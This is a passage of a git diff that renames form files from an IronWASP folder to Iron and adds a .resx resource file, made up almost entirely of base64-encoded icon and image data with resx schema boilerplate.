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 + + + \ No newline at end of file diff --git a/IronWASP/LoadInitialConfigurationForm.Designer.cs b/Iron/LoadInitialConfigurationForm.Designer.cs similarity index 100% rename from IronWASP/LoadInitialConfigurationForm.Designer.cs rename to Iron/LoadInitialConfigurationForm.Designer.cs diff --git a/IronWASP/LoadInitialConfigurationForm.cs b/Iron/LoadInitialConfigurationForm.cs similarity index 100% rename from IronWASP/LoadInitialConfigurationForm.cs rename to Iron/LoadInitialConfigurationForm.cs diff --git a/Iron/LoadInitialConfigurationForm.resx b/Iron/LoadInitialConfigurationForm.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/LoadInitialConfigurationForm.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + 